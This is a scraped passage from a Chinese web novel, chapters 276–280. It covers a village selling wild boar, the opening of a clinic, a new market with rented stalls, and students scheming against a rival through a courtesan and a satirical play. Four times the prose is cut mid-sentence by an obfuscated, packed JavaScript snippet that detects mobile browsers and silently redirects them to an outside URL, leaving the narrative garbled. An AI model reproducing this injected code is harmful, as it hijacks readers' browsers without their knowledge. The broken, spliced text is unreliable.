姚春香好笑不已, “折合成五两银锭,还不到两个呢,你至于高兴成这样?” “那不一样,那是一整个突然来的,这是一点点赚的,感觉大不相同。” 高娇娇甩了甩这很有分量的几串钱,听着铜钱相互碰撞哗啦啦的响声,觉得无比满足。 高二宝几个把玩着单独给他们的每人一百文钱,也觉得十分开心。 他们也能自己赚钱了,那是不是就代表他们也算是大人了。 高长天表示,大不了一点,黄毛小子即便能帮着摆摊赚钱了,也一样不能喝酒。 高长天他们把野猪带去城里卖,引起了不小的轰动。 朱钰见大家议论纷纷,便跟高长天商量,送一头野猪去衙门。 就说是石楼村的百姓团结一致,共同努力消灭了野猪侵袭的战利品,请大人赏脸务必收下。 知县大人当了这么多年官,给他送礼的富豪乡绅不尽其数,还是头一回遇到普通百姓给他送礼的。 送的还是他们自己打到的野猪,还说这都是因着他的英明领导,同意他们两村合并,他们才能一起消灭了野猪。 知县大人不由很是高兴,当即大笔一挥,又送了高长天一副墨宝。 朱钰凑近些一看,“天地人和”,四个大字写的跟之前的“忠勇之乡”一样直白。 这位据说私下十分喜好做木工活儿,一心想要进工部的齐明齐知县,为人还真跟他的喜好一般,简单直接啊。 带着齐知县的赞赏,捧着墨宝,高长天他们十分顺利就把野猪卖了出去。 用卖猪的银钱又买了些粮食和盐,还有铁匠坊所需的一些矿石,一行人说说笑笑回到村里已经是傍晚了。 高长天拿出用自己钱买的酒,请大家伙一起来家里喝酒吃肉。 姚春香非常清楚自家老汉豪爽的性子,早就准备好了下酒菜,蒸了两大锅馒头。 等高长天等人一回来,就把饭菜端上桌,各种卤味,油炸花生米,凉拌莜面,酸辣肚丝汤,还有暄软的大白馒头。 馋的忙碌了几天的众人直流口水,简单冲洗了下手,就上桌吃了起来。 高二宝几个眼馋高长天他们喝的酒,想讨一杯尝尝味儿,被高大壮笑着骂了出去, “滚滚滚,**都没长齐呢喝啥酒,一边啃骨头去!” 可把几个小子郁闷坏了,头挨头凑在一起商量凑钱去城里买酒,还没商量出要怎么悄无声息进城去,就被高娇娇扯着耳朵揪到了里屋。 “小屁孩喝啥酒,酒喝多了坏脑子,等你们长大了有的是人灌你们。 喝这个蜂蜜水,甜滋滋的还下火,多好喝。” 高娇娇指着桌上已经泡好的蜂蜜水,冲高二宝几个嚷道。 高二宝几个眼睛顿时亮了,急忙捧起桌上的茶碗,咕嘟嘟喝完,吧咂了下嘴,回味了下,这才好奇起来, “姑姑,你打哪儿弄来的蜂蜜?” “金宝给的,进山捡柴的时候得来的。” 高娇娇端着一碗蜂蜜水,小口小口喝着,随意道。 高二宝一听这话不淡定了,高金宝那小子真鸡贼,居然背着他偷偷讨好姑姑。 这怎么能行? 姑姑跟他才是最亲的,他可不能让高金宝抢了先! “姑姑,我觉得这蜂蜜喝着也就一般,你等着回头,我们给你找更好的来。” 高二宝说的信誓旦旦,好像已经知道蜂巢在哪儿似的。 高娇娇看的好笑,也不拆穿,只点头道, “行,姑姑等着哈。 不过你们明天得过来医馆帮忙,后天医馆就要开张了!” 高二宝拍着胸脯保证, “姑姑放心,我们肯定早早过去帮忙。” 送走一群斗志昂扬的半大小子,高娇娇带着杜映梅去帮老王算账。 老王就是以前双水村的里正,两村合并之后,高长天让他做了村里的账房。 不仅管公中的财物使用,还负责给雇工结算工钱。 除了老王,村里的其他事务高长天也分了下去。 陆祥昆负责村里所有盖房修路挖渠等工地上的活儿,从招工到监工,直至最后完工都由他负责。 把手里的事分下去后,高长天就轻松多了。 只用在下头各处出现矛盾**时,从中协调。 或者在遇到突然危机时,紧急应对。 剩下的就是监管各处,培养下一代。 高娇娇觉得这么调整对大家都是好事,让后加入的陆祥昆和王里正等人更有归属感,也让下头的队长都能发挥自**。 只有群策群力,团结一致,才能把家园建设的更加富裕安全,大家的日子才能过的安稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490040|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒坦。 因这次卖肉得来的钱比较零碎,算起来麻烦,高娇娇她们过去时,林老汉正帮着王账房一起算账。 有了高娇娇和杜映梅的帮忙,四人总算在外头吃酒的人散场前,把账目捋清了。 这次卖野猪一共收入四十二两三钱五十七文,抛去买东西的花费,还剩下二十一两六钱。 按高长天的意思,这次捕猎野猪大家都出力了,钱也不多,就按人头平分。 不想要钱的,也可以要成等价的粮食或者盐。 至于由公中投钱开办作坊的成本,会等作坊赚钱后一点点归还给村里,由村里投钱开办的作坊,收益是坊主和村里平分。 对此,众人没有异议。 但凡能跟着进山打猎的,家里都不缺肉,更何况已经跟着吃了两顿肉了,还能分到钱,开心还来不及呢。 高娇娇看着账本上他们摆摊的收益,忙活一天,才赚了八两多点。 比起上次挖人参,真是差太多了。 可人参不易得,猪却可以自家养,细水长流还是比一夜暴富稳妥啊。 消灭了野猪,石楼村的生活又重新恢复了安宁。 村里人不再议论野猪的事,转而说起了医馆开业的事,还有就是里正刚宣布的以后每逢初一十五,会在村子桥边的空地上开办集市的事。 李二他娘第一个嚷嚷要去摆摊,她上次摆摊把家里从逃荒路上剩下的苦荞和陈年稻谷都卖了,还卖了些放了很久的肉干和菜干。 虽然赚的不多,但拿自家多余的东西换来钱和鸡蛋的感觉很好。 她喜欢摆摊,跟人攀谈,热热闹闹还有钱赚。 更何况在自己村里摆摊又不用交摊位费,甚至都不耽误早上干活,捎带手就把钱赚了,多好啊。 村里像李二他娘这样想的不少,大家都纷纷琢磨起自家有什么东西是能拿出去卖的,也有琢磨着用自家的东西跟外村的换些鸡蛋什么的。 高娇娇把肉摊的事全权交给了姚春香,她不能把自己捆在一个摊位上,爹和朱叔已经把集市的事都交给她管了。 对于高长天他们的这个决定,村里众人不是没有议论过。 因为从古至今也没女人出来管事的,更何况高娇娇的身份还有点特殊,是个年轻寡妇。 连罗子娘都忍不住悄悄提醒姚春香,高娇娇要是真接了这个差事,免不了要被人背后说三道四。 姚春香其实也不想高娇娇出去干这些,她倒不是觉得女人不应该抛头露面,她是怕闺女费心劳神还不落好。 第二百七十七章 医馆开张 可高娇娇愿意,高长天支持,高大壮三兄弟也表示会全力配合,高二宝和高金宝他们更是听凭差遣。 姚春香也不想当那顽固不化的恶人,不管罗子娘她们怎么说,都没在高娇娇面前提起半句。 高娇娇知道集市的管理权,不仅包括摊位,还有作坊,甚至石楼村未来跟外界经济往来的命脉,都交到了她手中。 她必须做到尽善尽美,才能让还在观望的村民,对这个集市有信心,更加积极的参与其中。 参与的商户多,商品才会丰富,只有商品更加丰富实惠,才能吸引外面的人光顾,才能给石楼村带来更蓬勃的发展。 高娇娇认真做了规划,她得在下次集市开始之前,平整地面,划分区域,安排人员,确保下次集市能顺利进行,现场不会出现什么混乱。 还有就是医馆开张的事,经过刘一手这些日子的勤奋出诊,周围十里八乡都知道石楼村有个年轻大夫,看病厉害诊金还不贵。 但是这离她一开始设想的把城里的有钱人吸引过来,大赚特赚的目标,还有很大的差距。 不过考虑到现在的时局,还有流民过境的影响,刘一手能打出这样的名声,已经是很努力了。 路得一步步走,饭要一口口吃,慢慢来,她不急。 那是骗人的,高娇娇心里急得很,她总觉得现在的太平日子像是偷来的一样。 不知道什么时候,更不知道还有什么样的危机在等着他们。 她恨不得一天之内就能在村子四周筑起高墙,训练出一支强悍的队伍,把整个村子打造的跟铜墙铁壁一样安全。 但这显然不现实,她又没有金手指,有金手指的那个现在整天就知道在家绣嫁妆,根本不管外面的事。 哎,命苦只能靠自己啊! 高娇娇叹了口气,弄的正在门框上钉钉子,准备明日好挂匾的刘一手不由有点慌, “怎么了?你是觉得哪里不对吗?” 高娇娇看着靠放在墙边的门匾,上头横平竖直写着“一心堂”三个大字,忍不住又叹了口气。 没有什么不对的,不过是哪儿哪儿都不对罢了。 好好一个医馆,这么宽敞明亮的门面,非要做个黑底白字的招牌,还要叫“一心堂”,她也是真的搞不懂。 她见过的医馆,要么是红底黑字,要么是黑底红字,顶多就是大红暗红朱红的区别,但总是要有红的,毕竟是救命的地方。 黑底白字往往是用在白事上,可刘一手非说一清二白简单明了,还说“一”同“医”,既能彰显他们的医者仁心,也切合他的名字,一举两得。 高娇娇觉得,人有时候太有自己的想法也不是一件好事,她实在不应该太过相信刘一手。 可门匾都做好了,明天就要开张了,改也来不及了,只能就这么着了。 希望大家看在他们医书和医德的份上,尽量忽视招牌带来的不适。 钉好钉子确定好位置,给门匾上蒙上绑了绣球花的红色绸布。 最后再整理一遍药柜,擦一擦桌椅板凳,扫一扫地,确定一切准备就绪,就等着明日开张了。 五月初八,吉日,宜嫁娶、祈福、上梁、开市。 刘长昆拄着双拐,一步步挪到铺子门口,身后跟着穿戴一新的刘一手和杨大夫。 三人站定,高长天带着村民赶来,高娇娇高喊一声, “吉日到!” 高二宝几人立刻点燃了早就铺在门口地上的鞭炮,随着鞭炮声响起,高长天扯下盖在门匾上的红绸。 在众人的欢呼声中,刘一手亲手将门匾挂在了门头上。 换上了医馆学徒统一青蓝色短打的高秋花和高春雨,分别站在门口两侧,前来道贺的众人去后院喝茶。 医馆采用的是最常见的临街铺面布局,前面是门市做生意,后面是院落存放东西和住人。 只不过刘一手这个医馆的后院比寻常人家的院子要大许多,还分了左右院子。 左右两侧院子相连相通,东侧院子有一个后门能通往前头门市。 院内各有正屋和东南厢房两间,左侧院里主要是存放药材,除了库房还有制药房。 门口立了牌子,“外人请勿入内”,没有直通前院的门,只在院墙上有一个通往东院的月亮门。 东侧院主要是用来安置重伤患,上次石小山几个受了重伤,险些被埋在窑洞的事,让大家每每想起都后怕不已。 为了避免再发生这种事情,以后重伤不能在家休养的伤患,会留在医馆继续医治,直到恢复。 除了安置伤患,剩余的空房间还用做学徒住宿。 刘长昆喝了好几坛虎骨酒,身体好了许多,打算等医馆开张步入正轨后,再招收一批学徒。 这批学徒不像高春雨和高秋花那般自由了,要跟正规医馆的学徒那样,吃住都在医馆里,出师后还要在医馆里干满五年,方可独立门户。 刘一手带着众人参观了医馆,喝了茶吃了点心后,就去前头忙碌去了。 今日开张,高娇娇提议他搞点噱头。 刘一手不懂什么是噱头,绞尽脑汁才想出送薄荷茶的法子。 用上次师父配制薄荷膏剩下的药材,薄荷、藿香、淡竹叶、车前草,加水带汤代茶饮,能消暑降温,是夏令防暑的常备药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494130|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他准备了一百包,免费送给来医馆道贺的村民,应该够了吧。 哪知来的不仅有本村的人,还有很多外村的人,说是听到医馆开张不要钱送药,特地赶来的。 看着一股脑涌进医馆,密密麻麻看不出到底有多少人的人群,刘一手脑门上的汗一下子就冒了出来。 这么多人,他准备那么点药包怎么够? 关键时刻,高娇娇站出来给他解围了。 她站到凳子上大声道, “大家都别急,也别挤,听我说。 每个人体质不一样,这薄荷茶虽好,可也不是人人都适合喝的。 尤其是那种吃点东西就拉肚子,脾胃虚弱的人,可喝不了这种茶。 今儿咱们医馆开张,不光免费送药包,还免费看诊呢。 大家身上有哪儿不舒服,不如先让大夫看看,咱们对症下药,效果更好!” 高二宝几个立刻跟着喊道, “来来来,大家排好队啊,先到先得,人人有份,大家都别挤啊!” 一通吆喝下来,人群终于散开排成了队。 刘一手和杨大夫坐诊看病,高娇娇帮忙分发薄荷茶,高秋花和高春雨在刘长昆的指挥下,加紧再配制一批薄荷茶。 高二宝和高金宝几个半大小子,则负责引导进店的人,维持秩序。 有病的排队看病,没病的排队领薄荷茶。 大家各司其职,忙忙碌碌,等到人群散去,已经是下午了。 连午饭都没顾得上吃,几人饿的肚子咕咕叫。 高娇娇懒得跑,干脆走到医馆外头,叉着腰扯着嗓子冲上头喊, “娘,小梅,家里有没有吃的啊?我们快要饿**!” 很快,上头就响起了姚春香的骂声, “呸呸呸,怎么那么不知道忌讳,大好的日子说啥死不死的。 等着,专门给你们留了饭,这就让小梅送下去。” 不过片刻,杜映梅就挑着担子下来了。 高娇娇和高二宝等人一拥而上,掀开左边筐上盖着的布一看,是半筐冒着热气的大肉包子。 右边筐里装的是一罐子绿豆汤,绿豆煮的开了花,还放了糖,温热,喝着刚合适。 众人吃饱喝足后,又帮着收拾了一通,这才各自回家去。 高娇娇觉得今天开张算是很圆满,吸引来了不少潜在客户,算是一个不错的开端。 哪知晚上跟林老汉坐在一起一盘点,好家伙,看了将近三十个病人,只收入一两二钱银子。 而送出去的薄荷茶,却高达三百包,里外里一算,还赔钱了呢。 第二百七十八章 摊位出租 见高娇娇有点沮丧,林老汉忙安慰道, “刚开张为了揽客,不赚钱也是常有的事,等生意做起来就好了。” 高长天也忙宽慰, “做薄荷茶用到的那些药材,大都是咱们自己采摘的,就藿香花了一点钱,没多少。” 刘一手也赶紧表示, “今天来看病的好些人都是陈年旧疾,一天两天肯定治不好。 我想着头一回来没敢开太贵的药,等有了效果,他们自然愿意花钱再来看。” 高大壮等人也纷纷说道, “咱们马上就要把荒地开出来了,等种上药材,不光自己医馆能用,还能卖钱。” 高娇娇被众人弄的有些不好意思,她又不是真的是个什么都没干过的新手,不会连这点心理承受能力都没有。 不过是心里急,一时有点小小的沮丧罢了,哪儿值得大家这么又是劝又是哄的。 但被人这么关心呵护着,别说,还挺暖。 随着医馆的开张,其他作坊也加快了筹建。 罗子和罗子媳妇甚至已经采买好了货物,做好了货架,就等着房子盖好晾干,就准备开业了。 常铁柱的铁匠坊虽然没开张,但已经开始接活了。 他在自家院里搭了个简易的打铁炉子,用高长天他们从土匪窝里弄来的残破铁器,为人修补农具。 给自己村里人修补农具他只收成本,不收工钱,给外村的人干活,他会加收总成本两成的工钱。 即便如此,他的收费也比城里的铁匠铺子便宜的多,加上离得近,手艺又好,周围村里很多人都拿着农具找他修补。 村里人见他忙的脚不沾地,还不收大家工钱,过意不去。 过来取农具的时候,或多或少都会带些东西。 要么是家里蒸的馒头窝头,要么是从菜园里拔的小葱苋菜,或者几个鸡蛋什么的,聊表心意。 弄的常铁柱老娘反倒有些不好意思,本想着报答一下大家,没想到还收了这么多东西。 每天光村里人送的都吃不完,更别提还能赚到钱,真是感谢老天爷让他们遇到了好人啊。 转眼就到了十五,第二次赶集日。 高娇娇一大清早就带着杜映梅和高二宝等人去了空地,看到已经有人开始摆摊了,忙走了过去。 按照她的规划,集市中间划出了一条路,路两侧划分出大大小小的摊位。 最热闹的位置当然是离桥头近的地方,有人过来一眼就能看到,她划出了几个大摊位。 专门留给村里已经开业和即将开业的作坊主,然后就是离大摊位不远的稍小一些的摊位,留给了还在观望中,但是很有意向开办作坊的一些人。 再往外就是一些小摊位了,留给散户,大都是卖自家产的东西,货少,也要不了多大的地方。 除了留给本村的摊位,高娇娇还在桥对岸划了一些摊位出来,留给外来户。 她觉得即便世道不好,但有人的地方就有生意,只要他们能把人**起来,就会有商贩闻讯赶来。 外来的商贩她可是要收取摊位费的,不能让他们白白占了村里的地方。 对此,高长天他们觉得高娇娇有点想多了。 就他们这离县城那么老远的山村,能弄出来个小集市就不错了,哪儿还能引来别的地方的商贩啊。 有钱人可不来他们这儿! 高娇娇不这么觉得,敢想才敢干,要是连想都不敢,那还怎么干? 太阳升起,摊位一个个摆了出来,集市热闹了起来。 大大小小的摊位上摆满了各种各样的货物,不仅有绣工精巧的发带香囊帕子,还有一看就很厚实的千层底布鞋,结实耐用的背篓箩筐,刚从菜地里**还带着露水的苋菜........ 还有卖各种吃食的摊位,热气腾腾的菜团和窝头,香气扑鼻的火烧,看着就让人流口水的炸油糕炸油饼。 别说周围过来赶集的人,就连高长天他们看到这么多摆的满满当当的摊位,也忍不住惊叹连连。 “咱们哪儿来的这么多东西卖啊?这么多摊位,都摆的满满当当!” 高长天震惊的以为自己看花眼了,忍不住向朱钰确认。 朱钰笑着摇了摇扇子,指着卖菜的摊位道, “大哥你仔细看,摊位上其实就摆了两三样菜,只是摆的多罢了。” 高长天仔细看了看,还真是,好多摊位摆的很多很整齐,但其实就是两三种东西,都摆了好多而已。 “这丫头,鬼主意真多。” 高长天笑着一路走过去,看到过来赶集的人或多或少都买了东西,不由很是高兴。 更让高长天他们惊喜的是,还真有几个小商贩主动过来询问能不能在这里摆摊。 高娇娇立刻带人去了她已经划好了线的地方,拿出早就写好的租赁协议。 摆摊当然可以,但需要查验身份缴纳租金,租金的缴纳方式有两种,按天和包月。 按天很简单,一天三文,交钱就能摆摊一整天,但不能选位置,按照来的先后顺序轮到哪个摊位就只能摆在那儿。 包月也很简单,一月三十文,除了初一十五,其他时间也可以来摆摊,还可以选择自己想要的摊位。 想好了当场就可以签字立下文书,只要查验户籍无误,交了钱,就能摆摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504158|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 小商贩们被高娇娇这一套操作弄的有点紧张,他们大都是在县城附近摆摊的小商贩。 大都是做些便宜的吃食生意,只有几个是卖布料旧衣的。 除了在县城附近摆摊,他们也去各处赶集,听说这里新开了个集市就过来问问情况。 哪知这里跟别处大不相同,居然搞的比衙门的摊位都正式,还要查户籍签文书,吓的好几个商贩都忍不住想打退堂鼓。 高娇娇知道她这个做法会让有些胆小的人生出退意,但这是必须的。 赚钱重要,安全更重要,查验户籍是不能省,她可不想让宵小之徒混进来,一颗老鼠屎坏了她这一锅好汤。 为了说服这些商贩,高娇娇着重强调了他们集市的优势, “你们应该也听说过我们村,我们两个村合并后有八百多人,不说家家都有钱,但富裕的人家不在少数。 除了我们村,诸如桥下村等比较富裕的村,来我们这儿赶集的也很多,上次光卖肉我们一天就卖了五百来斤。 你们现在也看到了,我们这个集市有多热闹,等那边那一排商铺都开起来,这里就会成为一条街。 你们要不赶紧把地盘占住,等这里真正红火起来了,再想用这么低的价格租摊位,那是绝对不可能了。 我啊,也就是见你们来得早,有眼光有魄力,才给了你们这么低一个价格。 一个月三十文,平均一天一文钱,就能得到一个长期属于你,不会被别人占去的摊位。 还能得到我们村巡逻队的全方位保护,不用担心会被偷被抢被无赖霸占,你们啊,真是捡到大便宜了.......” 这番话听得小商贩们动了心,也让众人见识了高娇娇三寸不烂之舌的威力。 当场就有两个商贩交了订金,说等下次拿着户帖过来正式签文书,他们要长租。 高娇娇见这两人正是做布料旧衣生意的,不由暗暗点头,看来在外头人看来他们村确实有钱。 人家这是打算做他们村的生意呢,不过他们村也确实需要这样的商贩,以后大家买布买衣服就方便多了。 等到中午集市散场,高娇娇和王账房、林老头大概盘点了下,卖出去不少东西。 尤其是铁匠坊和绣坊,还收到了订单,按这个势头,等铺子开张,根本不愁没生意。 高娇娇把外来商贩准备租摊位卖布料和旧衣的事告诉了林巧儿,问问她有没有打算做成衣生意。 别的不说,石楼村成衣生意还是有市场的,村里光棍汉多,还不缺钱。 比起自己费劲买布求人帮忙做衣服,他们肯定更愿意直接去成衣铺子里买。 第二百七十九章 分头行动 林巧儿不是没想过这个生意,可她实在腾不出手,每天光教绣娘做绣活已经忙的她团团转了。 开成衣铺子起码一个样式得做个三四身,大中小号都得有,男子的还好,只需要几款常见的样式即可。 女子的一定要样式多,做的好看,才能让人舍得花钱来买。 最重要的是成衣铺子最赚钱的是量体裁衣,不仅需要雇裁缝,还要尽可能多的囤积一些布料。 想要开起来,需得投入不少银子。 绣坊现在赚的钱刚够维持日常开销,第一批绣娘只能做点小活儿,等到她们能做大活儿,起码要到明年后半年了。 林巧儿担心自己精力一分散,绣坊没搞好,成衣铺子也没搞起来,白白瞎了钱。 高娇娇觉得林巧儿的顾虑也情有可原,大家都是摸着石头过河,不敢投入过多,也很正常。 只是等外来商贩的生意做起来,她要是再想开成衣铺子就难了。 杜映梅今天跟在高娇娇身后,饱了眼福,吃了美食,很是心满意足,完全把以往最惦记的人抛到了脑后。 直到回了家,听高娇娇嘀咕起杜衡该回来了,这才慌手慌脚去收拾西屋。 高娇娇倒不是想杜衡了,而是想知道他那边的事安排了怎么样了。 若无意外,这次休假他们也该有所行动了才是。 九川书院,明后日休假,吃过午饭,大家便有些坐不住了。 按照惯例,下午上完两节课,等夫子布置了假期课业后,他们就能回家了。 被关在书院里半个月,连端午节都是在书院过的,大家归心似箭,只觉得夫子上课都比平日慢。 好不容易熬到下课,大家争先恐后往号舍跑,拿上包袱就要回家去,杜衡和凌十三也不例外。 只是出了书院,他们并没有直接回家,而是去了高娇娇的小院。 进了院子,简单收拾了下,刚把水烧好,茶泡上,门就被敲响了。 打开门,凌十三一把就把徐六和牛安,还有那个缩头缩脑生怕别人看不出他有贼心的马飞翼扯了进来。 “你搞什么啊,一副鬼鬼祟祟的样子,不知道的还以为你要做贼呢。” 凌十三嫌弃地拉下马飞翼试图掩面的衣袖,没好气道。 马飞翼一脸紧张,十分不安道, “你们真要去春香院啊?被人知道的怕是不好吧。” “有什么不好的,小爷都去过多少回了,也没人能把我怎么着。” 徐六很是傲娇,接过杜衡递过来的茶抿了两口,便直接道, “该怎么弄都已经商量好了,咱们就别耽搁了,分头行动吧,我这就回家换衣服去。” 说完就要走,杜衡忙拉住他, “事关重大,咱们再最后确认一遍行动计划。” 徐六有点不耐烦,甩开杜衡的手, “你怎么这么婆婆妈妈,都商量多少遍了还商量个啥?” 但杜衡坚持,徐六还是坐了下来。 杜衡简单明了把行动计划又说了一遍,确保每个人都心里有数后,最后强调, “凌十三你一定要管住嘴,不要光知道吃喝,更不要真的喝醉了,绝对不能在春香院留宿!” 凌十三瞪眼怒道, “你胡说什么呢,小爷我清清白白的童男子,怎么可能把第一次交给那种女子?” 马飞翼顿时面红耳赤,觉得凌十三这脸皮真不是一般的厚,这么无耻的话也能说得出口。 徐六和牛安哄笑出声,纷纷凑上来取笑凌十三。 都这个岁数了还没尝过女人的滋味,你小子是不是不行啊? 气的凌十三要跟他俩动手,敢说他不行,他就用拳头让这俩狗东西看看,到底是谁不行。 杜衡见他们三个转眼就要打成一团,不由很是头疼。 还没开始行动,他就已经开始担心了。 不怕对手太精明,就怕帮手太蠢笨啊。 喝止三人,杜衡继续叮嘱徐六和牛安道: “你俩跟往常一样就行,千万不要自己发挥。 小桃红为人精明,非常善于察言观色,你们稍稍表现出异常,都可能引起她的怀疑。 一定要让她觉得这么做的好处,远大于风险,她才会去**。 切记,去并州府的提议,绝对不能从你们口中说出。 这样即便事情败露,也不会被人怀疑到你们头上。” 凌十三拍着胸脯抢先保证, “你们放心,出了事我担着,绝对不连累兄弟。 姓杜的忘恩负义,无耻至极,我跟他势不两立。 这次即便不能让他身败名裂,也要让他暂时没功夫再来惹我们。” 徐六捶了凌十三肩膀一拳,没好气骂道, “我徐六可不是那种不讲义气的人,我家已经得罪了姓杜的,自然要跟他斗到底。 出了事小爷我自己担着,区区一个吃软饭的怂货,小爷我还不放在眼里。” “咱们既然一起行动,出了事自然一起承担,我牛安不说别的,这点义气还是有的。” 牛安也连忙表态,马飞翼在旁边努力半天终于插上一句, “我,我也一起,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508112|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心。” 牛安拍了拍马飞翼肩膀,笑着夸了句, “行,都是兄弟,以后谁欺负你,我替你出头。” 马飞翼扯了扯嘴角,笑的很是勉强。 除了你,别人也没欺负过我啊。 众人说定,凌十三和徐六、牛安,前后脚赶往春香院,按照计划,制造偶遇,见面就吵架,让人知道他们不和。 然后顺理成章砸钱抢小桃红,抢到的人自然是徐六和凌十三。 凌十三扮演从并州府过来求学的无知富家少爷,跟徐六一拍即合的浪荡子,被徐六带着来春香院玩乐。 美人在怀,软玉温香,酒意上头,凌十三不小心吐露一些自家跟知府的关系,说一些知府家的隐晦秘密。 比如杜有才是怎么勾搭上的乔氏,如何在赏花宴上被人撞破他和乔氏抱在一处,如何惹恼了知府夫人,如何整夜跪地哭求。 还有成亲当天的狼狈,后来药材被扣的窘迫,再嘲笑一番乔氏有钱有颜却眼瞎心盲,被一个无耻小人骗的团团转。 等到小桃红听得心念浮动,想要进一步打听时,两人借口离开。 然后牛安找到机会亲近小桃红,为了讨好佳人,极力贬低了徐六和凌十三一番。 透露出凌十三家里不过是开镖局的,不过是偶然之间跟知府夫人有了点关系,现在借着知府大人的人脉生意做的还凑合罢了。 让小桃红不再质疑凌十三的身份,转而更加相信他说的话,进而生出缠上杜有才的念头。 毕竟这年头有钱又年轻的傻子可不好找,哪个欢场女子不想在红颜老去之前,给自己找一条安稳的退路啊。 小桃红这个花魁已经当了快三年了,按照春香院的惯例,明年就要重新选花魁了。 等到新花魁选出来,她这个老花魁就要无人问津了。 她肯定希望趁着自己现在还算风光,找个好一点的下家,彻底脱离苦海。 杜有才人品虽然不行,但皮囊长的还不错,也知情识趣会哄人。 最重要的是他那个正室夫人性子绵软又蠢笨,实在是太好拿捏了。 这样的主母可遇不可求,哪怕不能嫁过去当二夫人,起码也能狠敲一笔**。 以杜衡对小桃红的了解,她应该不会放过这样的机会。 如果一切顺利的话,小桃红应该不久之后就会去往并州府找杜有才。 但没人能算无遗策,更何况这本来就是谋算人心,人心善变,杜衡即便做好了充分的准备,也没有十足的把握。 所以他还有另一手准备,跟马飞翼一起写话本子。 第二百八十章 事儿办成了 以杜有才为原型,编写一个从逃荒要饭的穷小子,一跃成为富商遗孀的丈夫,不仅抱得美人归,还顺便享用了富商留下丰厚遗产的故事。 穷小子靠着坑蒙拐骗飞黄腾达后,抛弃比自己年长还是二婚的糟糠妻,另娶娇妻美妾,却最终因为多行不义,身败名裂,死无全尸。 杜衡以前为了赚钱,别说这样经典套路的话本子,就连什么灵异鬼怪一女侍二夫,甚至男子分桃之类的他都抄过。 如今自己来写,自然是水到渠成,下笔如神,一气呵成。 马飞翼是个老实人,别说看话本子,就连戏都没听过几出。 被叫来帮忙,纯粹是杜衡为了防止他反水,透露他们几人的计划。 还有就是掩人耳目,留着他以后在关键时候,说不定还能当个证人,指控杜有才什么的。 但这是杜衡自己的小心思,他从未对外人说起,也不会告诉除了嫂嫂以外的人。 他跟凌十三他们说拉马飞翼入伙,是为了防止他泄密。 对马飞翼说,若不想再被人欺,就得学会反击,杜有才险些害了他的性命,此仇不报非君子。 还夸他文采出众,专门请他过来帮着修文。 然后马飞翼这个老实人被夸的受宠若惊,强忍着不适,努力帮着修文。 从傍晚写到深夜,杜衡把故事大概写完了,只剩一些过渡桥段需要填充,然后就是为了能被戏班子看上,在遣词造句上做些修饰。 这些就交给马飞翼慢慢弄,只要在后日下午弄好就行。 徐六和牛安都是常年混迹风月场上的人,找个戏班子推一个有意思的话本很容易。 眼下流民的事备受关注,戏班子里又很喜欢演这种惩恶扬善,男欢女爱的戏码。 杜衡觉得只要他们要价不高,这个话本子应该很容易就能卖出去。 等到戏排出来,演到并州府去,传到知府夫人耳中,让乔氏听到其中男子背着新婚妻子出去寻欢作乐的片段。 一定会很有意思。 人不犯我我不犯人,人若犯我,斩草除根! 杜衡从来都不是心慈手软的人,现在不是杜有才和杜家福肯不肯放过他,是他绝对不会放过他们了! 凌晨,凌十三醉醺醺回来了,大着舌头跟杜衡说了句, “事儿,办成了。” 便倒头呼呼大睡。 杜衡本想扯过被子给凌十三盖上,闻到他身上刺鼻的脂粉裹着酒肉的臭味,生怕把被子熏臭。 这可是嫂嫂专门给他买的新被子,他还没盖过两回呢。 便一手捏着鼻子,一手跟扒皮一样飞快把凌十三外衣中衣都扯了下来,正要扯过被子时,马飞翼揉着熬的发红的眼睛走了过来。 看到屋里被脱的只剩一条亵裤的凌十三,再看看刚松开手因为憋气有点脸红的杜衡。 马飞翼像是发现了什么了不得的秘密,眼眸猛地震颤了下,急急忙忙往后退, “那个,我,你们,我什么也没看见,我不会说出去的!” 杜衡根本来不及解释,马飞翼就踉踉跄跄跑了出去。 